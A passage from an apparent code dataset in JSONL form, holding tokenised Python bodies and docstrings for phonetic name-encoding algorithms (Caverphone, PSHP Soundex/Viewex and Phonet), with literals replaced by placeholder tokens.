'<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:6>:]<EOL><DEDENT>if version != <NUM_LIT:1> and word[:<NUM_LIT:6>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:6>:]<EOL><DEDENT>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:2>'<EOL><DEDENT>for src, tar in (<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:c>', '<STR_LIT:k>'),<EOL>('<STR_LIT:q>', '<STR_LIT:k>'),<EOL>('<STR_LIT:x>', '<STR_LIT:k>'),<EOL>('<STR_LIT:v>', '<STR_LIT:f>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:d>', '<STR_LIT:t>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:b>', '<STR_LIT:p>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:z>', '<STR_LIT:s>'),<EOL>):<EOL><INDENT>word = word.replace(src, tar)<EOL><DEDENT>if word[<NUM_LIT:0>] in self._lc_v_set:<EOL><INDENT>word = '<STR_LIT:A>' + word[<NUM_LIT:1>:]<EOL><DEDENT>for vowel in '<STR_LIT>':<EOL><INDENT>word = word.replace(vowel, '<STR_LIT:3>')<EOL><DEDENT>if version != <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT:y>')<EOL>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>if word[:<NUM_LIT:1>] == '<STR_LIT:y>':<EOL><INDENT>word = '<STR_LIT:A>' + word[<NUM_LIT:1>:]<EOL><DEDENT>word = word.replace('<STR_LIT:y>', '<STR_LIT:3>')<EOL><DEDENT>for src, tar in (('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT>', '<STR_LIT>'), ('<STR_LIT:g>', '<STR_LIT:k>')):<EOL><INDENT>word = word.replace(src, tar)<EOL><DEDENT>for char in '<STR_LIT>':<EOL><INDENT>word = _squeeze_replace(word, char)<EOL><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if version != <NUM_LIT:1> and word[-<NUM_LIT:1>:] == '<STR_LIT:w>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:3>'<EOL><DEDENT>word = word.replace('<STR_LIT:w>', '<STR_LIT:2>')<EOL>if word[:<NUM_LIT:1>] == '<STR_LIT:h>':<EOL><INDENT>word = '<STR_LIT:A>' + word[<NUM_LIT:1>:]<EOL><DEDENT>word = word.replace('<STR_LIT:h>', '<STR_LIT:2>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if version != <NUM_LIT:1> and word[-<NUM_LIT:1>:] == '<STR_LIT:r>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:3>'<EOL><DEDENT>word = word.replace('<STR_LIT:r>', '<STR_LIT:2>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if version != <NUM_LIT:1> and word[-<NUM_LIT:1>:] == '<STR_LIT:l>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:3>'<EOL><DEDENT>word = word.replace('<STR_LIT:l>', '<STR_LIT:2>')<EOL>if version == <NUM_LIT:1>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT:y>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:y>', '<STR_LIT:2>')<EOL><DEDENT>word = word.replace('<STR_LIT:2>', '<STR_LIT>')<EOL>if version != <NUM_LIT:1> and word[-<NUM_LIT:1>:] == '<STR_LIT:3>':<EOL><INDENT>word = word[:-<NUM_LIT:1>] + '<STR_LIT:A>'<EOL><DEDENT>word = word.replace('<STR_LIT:3>', '<STR_LIT>')<EOL><DEDENT>word += '<STR_LIT:1>' * <NUM_LIT:10><EOL>if version != <NUM_LIT:1>:<EOL><INDENT>word = word[:<NUM_LIT:10>]<EOL><DEDENT>else:<EOL><INDENT>word = word[:<NUM_LIT:6>]<EOL><DEDENT>return word<EOL>", "docstring": "Return the Caverphone code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        version : int\n            The version of Caverphone to employ for encoding (defaults to 2)\n\n        Returns\n        -------\n        str\n            The Caverphone value\n\n        Examples\n        --------\n        >>> pe = Caverphone()\n        >>> pe.encode('Christopher')\n        'KRSTFA1111'\n        >>> pe.encode('Niall')\n        'NA11111111'\n        >>> pe.encode('Smith')\n        'SMT1111111'\n        >>> pe.encode('Schmidt')\n        'SKMT111111'\n\n        >>> pe.encode('Christopher', 1)\n        'KRSTF1'\n        >>> pe.encode('Niall', 1)\n        'N11111'\n        >>> pe.encode('Smith', 1)\n        'SMT111'\n        >>> pe.encode('Schmidt', 1)\n        'SKMT11'", "id": "f6581:c0:m0"}
{"signature": "def pshp_soundex_last(lname, max_length=<NUM_LIT:4>, german=False):", "body": "return PSHPSoundexLast().encode(lname, max_length, german)<EOL>", "docstring": "Calculate the PSHP Soundex/Viewex Coding of a last name.\n\n    This is a wrapper for :py:meth:`PSHPSoundexLast.encode`.\n\n    Parameters\n    ----------\n    lname : str\n        The last name to encode\n    max_length : int\n        The length of the code returned (defaults to 4)\n    german : bool\n        Set to True if the name is German (different rules apply)\n\n    Returns\n    -------\n    str\n        The PSHP Soundex/Viewex Coding\n\n    Examples\n    --------\n    >>> pshp_soundex_last('Smith')\n    'S530'\n    >>> pshp_soundex_last('Waters')\n    'W350'\n    >>> pshp_soundex_last('James')\n    'J500'\n    >>> pshp_soundex_last('Schmidt')\n    'S530'\n    >>> pshp_soundex_last('Ashcroft')\n    'A225'", "id": "f6582:m0"}
{"signature": "def encode(self, lname, max_length=<NUM_LIT:4>, german=False):", "body": "lname = unicode_normalize('<STR_LIT>', text_type(lname.upper()))<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT>')<EOL>lname = '<STR_LIT>'.join(c for c in lname if c in self._uc_set)<EOL>if lname[:<NUM_LIT:3>] == '<STR_LIT>' or lname[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>lname = lname[<NUM_LIT:3>:].strip()<EOL><DEDENT>if not german:<EOL><INDENT>if lname[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT:M>' + lname[<NUM_LIT:3>:]<EOL><DEDENT>elif lname[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT:M>' + lname[<NUM_LIT:2>:]<EOL><DEDENT><DEDENT>if lname[:<NUM_LIT:1>] in {'<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:O>', '<STR_LIT>'}:<EOL><INDENT>lname = '<STR_LIT:A>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = '<STR_LIT>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = '<STR_LIT:S>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:1>] == '<STR_LIT:C>' and lname[:<NUM_LIT:2>] != '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>if lname[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT:N>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>lname = '<STR_LIT:F>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>elif lname[:<NUM_LIT:3>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = '<STR_LIT>' + lname[<NUM_LIT:1>:]<EOL><DEDENT>if german and lname[:<NUM_LIT:1>] in {'<STR_LIT>', '<STR_LIT:M>', '<STR_LIT:Y>', '<STR_LIT>'}:<EOL><INDENT>lname = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT:M>': '<STR_LIT:N>', '<STR_LIT:Y>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT:S>'}[lname[<NUM_LIT:0>]] + lname[<EOL><NUM_LIT:1>:<EOL>]<EOL><DEDENT>code = lname[:<NUM_LIT:1>]<EOL>if german:  <EOL><INDENT>if lname[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:3>]<EOL><DEDENT>elif lname[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:2>]<EOL><DEDENT>if lname[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:3>]<EOL><DEDENT>elif lname[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:2>]<EOL><DEDENT>if lname[-<NUM_LIT:1>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:1>]<EOL><DEDENT>elif lname[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>if lname[-<NUM_LIT:1>:] == '<STR_LIT:R>':<EOL><INDENT>lname = lname[:-<NUM_LIT:1>] + '<STR_LIT:N>'<EOL><DEDENT>elif lname[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = lname[:-<NUM_LIT:2>]<EOL><DEDENT>if lname[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>lname = lname[:-<NUM_LIT:2>]<EOL><DEDENT>elif lname[-<NUM_LIT:1>:] == '<STR_LIT:S>':<EOL><INDENT>lname = lname[:-<NUM_LIT:1>]<EOL><DEDENT>if not german:<EOL><INDENT>l5_repl = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>l4_repl = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>if lname[-<NUM_LIT:5>:] in l5_repl:<EOL><INDENT>lname = lname[:-<NUM_LIT:5>] + l5_repl[lname[-<NUM_LIT:5>:]]<EOL><DEDENT>elif lname[-<NUM_LIT:4>:] in l4_repl:<EOL><INDENT>lname = lname[:-<NUM_LIT:4>] + l4_repl[lname[-<NUM_LIT:4>:]]<EOL><DEDENT><DEDENT>if lname[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = lname[:-<NUM_LIT:1>]<EOL><DEDENT>if not german and lname[-<NUM_LIT:3>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>lname = lname[:-<NUM_LIT:3>] + '<STR_LIT:A>' + lname[-<NUM_LIT:2>:]<EOL><DEDENT>lname = lname.replace('<STR_LIT>', '<STR_LIT:C>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:S>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:T>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:N>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:N>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:M>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT:M>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT>')<EOL>lname = lname.replace('<STR_LIT>', '<STR_LIT>')<EOL>lname = lname.translate(self._trans)<EOL>lname = self._delete_consecutive_repeats(lname)<EOL>code += lname[<NUM_LIT:1>:]<EOL>code = code.replace('<STR_LIT:0>', '<STR_LIT>')  <EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>if len(code) < max_length:<EOL><INDENT>code += '<STR_LIT:0>' * (max_length - len(code))<EOL><DEDENT>else:<EOL><INDENT>code = code[:max_length]<EOL><DEDENT><DEDENT>return code<EOL>", "docstring": "Calculate the PSHP Soundex/Viewex Coding of a last name.\n\n        Parameters\n        ----------\n        lname : str\n            The last name to encode\n        max_length : int\n            The length of the code returned (defaults to 4)\n        german : bool\n            Set to True if the name is German (different rules apply)\n\n        Returns\n        -------\n        str\n            The PSHP Soundex/Viewex Coding\n\n        Examples\n        --------\n        >>> pe = PSHPSoundexLast()\n        >>> pe.encode('Smith')\n        'S530'\n        >>> pe.encode('Waters')\n        'W350'\n        >>> pe.encode('James')\n        'J500'\n        >>> pe.encode('Schmidt')\n        'S530'\n        >>> pe.encode('Ashcroft')\n        'A225'", "id": "f6582:c0:m0"}
{"signature": "def phonet(word, mode=<NUM_LIT:1>, lang='<STR_LIT>'):", "body": "return Phonet().encode(word, mode, lang)<EOL>", "docstring": "Return the phonet code for a word.\n\n    This is a wrapper for :py:meth:`Phonet.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    mode : int\n        The ponet variant to employ (1 or 2)\n    lang : str\n        ``de`` (default) for German, ``none`` for no language\n\n    Returns\n    -------\n    str\n        The phonet value\n\n    Examples\n    --------\n    >>> phonet('Christopher')\n    'KRISTOFA'\n    >>> phonet('Niall')\n    'NIAL'\n    >>> phonet('Smith')\n    'SMIT'\n    >>> phonet('Schmidt')\n    'SHMIT'\n\n    >>> phonet('Christopher', mode=2)\n    'KRIZTUFA'\n    >>> phonet('Niall', mode=2)\n    'NIAL'\n    >>> phonet('Smith', mode=2)\n    'ZNIT'\n    >>> phonet('Schmidt', mode=2)\n    'ZNIT'\n\n    >>> phonet('Christopher', lang='none')\n    'CHRISTOPHER'\n    >>> phonet('Niall', lang='none')\n    'NIAL'\n    >>> phonet('Smith', lang='none')\n    'SMITH'\n    >>> phonet('Schmidt', lang='none')\n    'SCHMIDT'", "id": "f6583:m0"}
{"signature": "def encode(self, word, mode=<NUM_LIT:1>, lang='<STR_LIT>'):", "body": "phonet_hash = Counter()<EOL>alpha_pos = Counter()<EOL>phonet_hash_1 = Counter()<EOL>phonet_hash_2 = Counter()<EOL>def _initialize_phonet(lang):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if lang == '<STR_LIT:none>':<EOL><INDENT>_phonet_rules = self._rules_no_lang<EOL><DEDENT>else:<EOL><INDENT>_phonet_rules = self._rules_german<EOL><DEDENT>phonet_hash['<STR_LIT>'] = -<NUM_LIT:1><EOL>for j in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>alpha_pos[j] = <NUM_LIT:1><EOL>phonet_hash[j] = -<NUM_LIT:1><EOL><DEDENT>for i, j in enumerate('<STR_LIT>'):<EOL><INDENT>alpha_pos[j] = i + <NUM_LIT:2><EOL>phonet_hash[j] = -<NUM_LIT:1><EOL><DEDENT>for i in range(<NUM_LIT>):<EOL><INDENT>for j in range(<NUM_LIT>):<EOL><INDENT>phonet_hash_1[i, j] = -<NUM_LIT:1><EOL>phonet_hash_2[i, j] = -<NUM_LIT:1><EOL><DEDENT><DEDENT>for i in range(len(_phonet_rules)):<EOL><INDENT>rule = _phonet_rules[i]<EOL>if rule and i % <NUM_LIT:3> == <NUM_LIT:0>:<EOL><INDENT>k = _phonet_rules[i][<NUM_LIT:0>]<EOL>if phonet_hash[k] < <NUM_LIT:0> and (<EOL>_phonet_rules[i + <NUM_LIT:1>] or _phonet_rules[i + <NUM_LIT:2>]<EOL>):<EOL><INDENT>phonet_hash[k] = i<EOL><DEDENT>if k and alpha_pos[k] >= <NUM_LIT:2>:<EOL><INDENT>k = alpha_pos[k]<EOL>j = k - <NUM_LIT:2><EOL>rule = rule[<NUM_LIT:1>:]<EOL>if not rule:<EOL><INDENT>rule = '<STR_LIT:U+0020>'<EOL><DEDENT>elif rule[<NUM_LIT:0>] == '<STR_LIT:(>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>rule = rule[<NUM_LIT:0>]<EOL><DEDENT>while rule and (rule[<NUM_LIT:0>] != '<STR_LIT:)>'):<EOL><INDENT>k = alpha_pos[rule[<NUM_LIT:0>]]<EOL>if k > <NUM_LIT:0>:<EOL><INDENT>if phonet_hash_1[j, k] < <NUM_LIT:0>:<EOL><INDENT>phonet_hash_1[j, k] = i<EOL>phonet_hash_2[j, k] = i<EOL><DEDENT>if phonet_hash_2[j, k] >= (i - <NUM_LIT:30>):<EOL><INDENT>phonet_hash_2[j, k] = i<EOL><DEDENT>else:<EOL><INDENT>k = -<NUM_LIT:1><EOL><DEDENT><DEDENT>if k <= <NUM_LIT:0>:<EOL><INDENT>if phonet_hash_1[j, <NUM_LIT:0>] < <NUM_LIT:0>:<EOL><INDENT>phonet_hash_1[j, <NUM_LIT:0>] = i<EOL><DEDENT>phonet_hash_2[j, <NUM_LIT:0>] = i<EOL><DEDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>def _phonet(term, mode, lang):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if lang == '<STR_LIT:none>':<EOL><INDENT>_phonet_rules = self._rules_no_lang<EOL><DEDENT>else:<EOL><INDENT>_phonet_rules = self._rules_german<EOL><DEDENT>char0 = '<STR_LIT>'<EOL>dest = term<EOL>if not term:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>term_length = len(term)<EOL>src = term.translate(self._upper_trans)<EOL>i = <NUM_LIT:0><EOL>j = <NUM_LIT:0><EOL>zeta = <NUM_LIT:0><EOL>while i < len(src):<EOL><INDENT>char = src[i]<EOL>pos = alpha_pos[char]<EOL>if pos >= <NUM_LIT:2>:<EOL><INDENT>xpos = pos - <NUM_LIT:2><EOL>if i + <NUM_LIT:1> == len(src):<EOL><INDENT>pos = alpha_pos['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pos = alpha_pos[src[i + <NUM_LIT:1>]]<EOL><DEDENT>start1 = phonet_hash_1[xpos, pos]<EOL>start2 = phonet_hash_1[xpos, <NUM_LIT:0>]<EOL>end1 = phonet_hash_2[xpos, pos]<EOL>end2 = phonet_hash_2[xpos, <NUM_LIT:0>]<EOL>if (start2 >= <NUM_LIT:0>) and ((start1 < <NUM_LIT:0>) or (start2 < start1)):<EOL><INDENT>pos = start1<EOL>start1 = start2<EOL>start2 = pos<EOL>pos = end1<EOL>end1 = end2<EOL>end2 = pos<EOL><DEDENT>if (end1 >= start2) and (start2 >= <NUM_LIT:0>):<EOL><INDENT>if end2 > end1:<EOL><INDENT>end1 = end2<EOL><DEDENT>start2 = -<NUM_LIT:1><EOL>end2 = -<NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos = phonet_hash[char]<EOL>start1 = pos<EOL>end1 = <NUM_LIT><EOL>start2 = -<NUM_LIT:1><EOL>end2 = -<NUM_LIT:1><EOL><DEDENT>pos = start1<EOL>zeta0 = <NUM_LIT:0><EOL>if pos >= <NUM_LIT:0>:<EOL><INDENT>while (_phonet_rules[pos] is None) or (<EOL>_phonet_rules[pos][<NUM_LIT:0>] == char<EOL>):<EOL><INDENT>if pos > end1:<EOL><INDENT>if start2 > <NUM_LIT:0>:<EOL><INDENT>pos = start2<EOL>start1 = start2<EOL>start2 = -<NUM_LIT:1><EOL>end1 = end2<EOL>end2 = -<NUM_LIT:1><EOL>continue<EOL><DEDENT>break<EOL><DEDENT>if (_phonet_rules[pos] is None) or (<EOL>_phonet_rules[pos + mode] is None<EOL>):<EOL><INDENT>pos += <NUM_LIT:3><EOL>continue<EOL><DEDENT>matches = <NUM_LIT:1>  <EOL>priority = <NUM_LIT:5>  <EOL>rule = _phonet_rules[pos]<EOL>rule = rule[<NUM_LIT:1>:]<EOL>while (<EOL>rule<EOL>and (len(src) > (i + matches))<EOL>and (src[i + matches] == rule[<NUM_LIT:0>])<EOL>and not rule[<NUM_LIT:0>].isdigit()<EOL>and (rule not in '<STR_LIT>')<EOL>):<EOL><INDENT>matches += <NUM_LIT:1><EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and (rule[<NUM_LIT:0>] == '<STR_LIT:(>'):<EOL><INDENT>if (<EOL>(len(src) > (i + matches))<EOL>and src[i + matches].isalpha()<EOL>and (src[i + matches] in rule[<NUM_LIT:1>:])<EOL>):<EOL><INDENT>matches += <NUM_LIT:1><EOL>while rule and rule[<NUM_LIT:0>] != '<STR_LIT:)>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if rule:<EOL><INDENT>priority0 = ord(rule[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>priority0 = <NUM_LIT:0><EOL><DEDENT>matches0 = matches<EOL>while rule and rule[<NUM_LIT:0>] == '<STR_LIT:->' and matches > <NUM_LIT:1>:<EOL><INDENT>matches -= <NUM_LIT:1><EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>] == '<STR_LIT:<>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>].isdigit():<EOL><INDENT>priority = int(rule[<NUM_LIT:0>])<EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if (<EOL>not rule<EOL>or (<EOL>(rule[<NUM_LIT:0>] == '<STR_LIT>')<EOL>and ((i == <NUM_LIT:0>) or not src[i - <NUM_LIT:1>].isalpha())<EOL>and (<EOL>(rule[<NUM_LIT:1>:<NUM_LIT:2>] != '<STR_LIT:$>')<EOL>or (<EOL>not (<EOL>src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>].isalpha()<EOL>)<EOL>and (<EOL>src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>]<EOL>!= '<STR_LIT:.>'<EOL>)<EOL>)<EOL>)<EOL>)<EOL>or (<EOL>(rule[<NUM_LIT:0>] == '<STR_LIT:$>')<EOL>and (i > <NUM_LIT:0>)<EOL>and src[i - <NUM_LIT:1>].isalpha()<EOL>and (<EOL>(<EOL>not src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>].isalpha()<EOL>)<EOL>and (<EOL>src[i + matches0 : i + matches0 + <NUM_LIT:1>]<EOL>!= '<STR_LIT:.>'<EOL>)<EOL>)<EOL>)<EOL>):<EOL><INDENT>pos0 = -<NUM_LIT:1><EOL>start3 = <NUM_LIT:0><EOL>start4 = <NUM_LIT:0><EOL>end3 = <NUM_LIT:0><EOL>end4 = <NUM_LIT:0><EOL>if (<EOL>(matches > <NUM_LIT:1>)<EOL>and src[i + matches : i + matches + <NUM_LIT:1>]<EOL>and (priority0 != ord('<STR_LIT:->'))<EOL>):<EOL><INDENT>char0 = src[i + matches - <NUM_LIT:1>]<EOL>pos0 = alpha_pos[char0]<EOL>if pos0 >= <NUM_LIT:2> and src[i + matches]:<EOL><INDENT>xpos = pos0 - <NUM_LIT:2><EOL>pos0 = alpha_pos[src[i + matches]]<EOL>start3 = phonet_hash_1[xpos, pos0]<EOL>start4 = phonet_hash_1[xpos, <NUM_LIT:0>]<EOL>end3 = phonet_hash_2[xpos, pos0]<EOL>end4 = phonet_hash_2[xpos, <NUM_LIT:0>]<EOL>if (start4 >= <NUM_LIT:0>) and (<EOL>(start3 < <NUM_LIT:0>) or (start4 < start3)<EOL>):<EOL><INDENT>pos0 = start3<EOL>start3 = start4<EOL>start4 = pos0<EOL>pos0 = end3<EOL>end3 = end4<EOL>end4 = pos0<EOL><DEDENT>if (end3 >= start4) and (start4 >= <NUM_LIT:0>):<EOL><INDENT>if end4 > end3:<EOL><INDENT>end3 = end4<EOL><DEDENT>start4 = -<NUM_LIT:1><EOL>end4 = -<NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos0 = phonet_hash[char0]<EOL>start3 = pos0<EOL>end3 = <NUM_LIT><EOL>start4 = -<NUM_LIT:1><EOL>end4 = -<NUM_LIT:1><EOL><DEDENT>pos0 = start3<EOL><DEDENT>if pos0 >= <NUM_LIT:0>:<EOL><INDENT>while (_phonet_rules[pos0] is None) or (<EOL>_phonet_rules[pos0][<NUM_LIT:0>] == char0<EOL>):<EOL><INDENT>if pos0 > end3:<EOL><INDENT>if start4 > <NUM_LIT:0>:<EOL><INDENT>pos0 = start4<EOL>start3 = start4<EOL>start4 = -<NUM_LIT:1><EOL>end3 = end4<EOL>end4 = -<NUM_LIT:1><EOL>continue<EOL><DEDENT>priority0 = -<NUM_LIT:1><EOL>break<EOL><DEDENT>if (_phonet_rules[pos0] is None) or (<EOL>_phonet_rules[pos0 + mode] is None<EOL>):<EOL><INDENT>pos0 += <NUM_LIT:3><EOL>continue<EOL><DEDENT>matches0 = matches<EOL>priority0 = <NUM_LIT:5><EOL>rule = _phonet_rules[pos0]<EOL>rule = rule[<NUM_LIT:1>:]<EOL>while (<EOL>rule<EOL>and (<EOL>src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>]<EOL>== rule[<NUM_LIT:0>]<EOL>)<EOL>and (<EOL>not rule[<NUM_LIT:0>].isdigit()<EOL>or (rule in '<STR_LIT>')<EOL>)<EOL>):<EOL><INDENT>matches0 += <NUM_LIT:1><EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>] == '<STR_LIT:(>':<EOL><INDENT>if src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>].isalpha() and (<EOL>src[i + matches0] in rule[<NUM_LIT:1>:]<EOL>):<EOL><INDENT>matches0 += <NUM_LIT:1><EOL>while rule and rule[<NUM_LIT:0>] != '<STR_LIT:)>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>while rule and rule[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>] == '<STR_LIT:<>':<EOL><INDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if rule and rule[<NUM_LIT:0>].isdigit():<EOL><INDENT>priority0 = int(rule[<NUM_LIT:0>])<EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if (<EOL>not rule<EOL>or<EOL>(<EOL>(rule[<NUM_LIT:0>] == '<STR_LIT:$>')<EOL>and not src[<EOL>i + matches0 : i + matches0 + <NUM_LIT:1><EOL>].isalpha()<EOL>and (<EOL>src[<EOL>i<EOL>+ matches0 : i<EOL>+ matches0<EOL>+ <NUM_LIT:1><EOL>]<EOL>!= '<STR_LIT:.>'<EOL>)<EOL>)<EOL>):<EOL><INDENT>if matches0 == matches:<EOL><INDENT>pos0 += <NUM_LIT:3><EOL>continue<EOL><DEDENT>if priority0 < priority:<EOL><INDENT>pos0 += <NUM_LIT:3><EOL>continue<EOL><DEDENT>break<EOL><DEDENT>pos0 += <NUM_LIT:3><EOL><DEDENT>if (priority0 >= priority) and (<EOL>(_phonet_rules[pos0] is not None)<EOL>and 